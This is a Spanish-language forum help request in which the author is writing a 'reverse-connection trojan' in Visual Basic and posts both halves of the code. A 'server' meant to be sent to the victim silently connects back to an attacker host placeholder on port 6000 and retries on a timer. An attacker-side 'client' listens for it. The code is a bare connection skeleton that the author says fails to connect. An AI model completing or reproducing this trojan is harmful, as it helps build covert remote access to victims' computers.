pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..
a ver si laguien me puede ayudar
server.exe (envia a la victima)
Código
Option Explicit Dim WithEvents cliente As CSocketMaster Private Sub Coneccion_Timer_Timer() If Not cliente.State = sckConnected Then cliente.CloseSck cliente.Connect cliente.RemoteHost, 6000 End If End Sub Private Sub Form_Load() Set cliente = New CSocketMaster cliente.CloseSck cliente.RemoteHost = "ip-o-dominio-no-ip" cliente.Connect cliente.RemoteHost, 6000 End Sub Private Sub Label1_Click() If cliente.State = sckConnected Then Label1.Caption = "conectado" Else: Label1.Caption = "desconectado" End If End Sub
cliente.exe (atacante)
Código
Option Explicit Dim WithEvents server As CSocketMaster Private Sub Command1_Click() server.CloseSck server.Bind 6000 server.Listen End Sub Private Sub Form_Load() Set server = New CSocketMaster End Sub Private Sub ws_ConnectionRequest(ByVal requestID As Long) server.CloseSck server.Accept requestID End Sub
bueno el que tenga ganas de ayudar bienvenido sea
adios y gracias